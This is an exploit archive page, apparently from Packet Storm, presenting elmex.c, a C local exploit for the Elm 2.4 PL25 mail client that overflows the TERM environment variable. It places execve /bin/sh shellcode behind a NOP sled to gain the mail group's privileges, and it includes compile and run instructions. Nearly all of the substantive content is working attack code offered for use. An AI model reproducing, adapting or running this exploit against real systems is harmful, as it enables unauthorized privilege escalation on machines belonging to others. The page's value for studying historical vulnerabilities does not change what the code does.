what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

elmex.c

elmex.c
Posted Jun 1, 2000
Authored by Funkysh

Elm 2.4 PL25 local GID mail exploit. Tested under Slackware 3.6, 4.0, Redhat 5.0, and 5.1.

tags | exploit, local
systems | linux, redhat, slackware
SHA-256 | 558a726bce68d1bb599a32adc7f23c60678255c07a67495d810c8a54c8097694

elmex.c

Change Mirror Download
/*
* Elm 2.4 PL25 sploit
* funkySh '99
* tested under Slackware 3.6, 4.0
* Redhat 5.0,5.1
* gcc -o elmex elmex.c ; ./elmex [offset]
* bash$ id
* [..] egid=12(mail)
*/

#define SIZE_P 5500
#define SIZE_D 200
#define NOP 0x90
#define RET_ADDR 0xbffff8a0
#define PATH "/usr/bin/elm"

char code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

char buffer_p[SIZE_P];
char buffer_d[SIZE_P];

void main(int argc, char * argv[])
{ int i, x, offset = 0;
long address;
if(argc > 1) offset = atoi(argv[1]);
address = RET_ADDR + offset;

for(i = 0; i < SIZE_P/3; i++)
buffer_p[i] = NOP;
for(x = 0; x < strlen(code); i++, x++)
buffer_p[i] = code[x];

for(i = 0; i < SIZE_D/3; i++)
for (; i < SIZE_D; i += 4)
{
buffer_d[i ] = address & 0x000000ff;
buffer_d[i+1] = (address & 0x0000ff00) >> 8;
buffer_d[i+2] = (address & 0x00ff0000) >> 16;
buffer_d[i+3] = (address & 0xff000000) >> 24;
}
buffer_d[SIZE_D - 1] = 0;
setenv("DUPA", buffer_p, 1);
setenv("TERM", buffer_d, 1);
execl(PATH,PATH,0);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close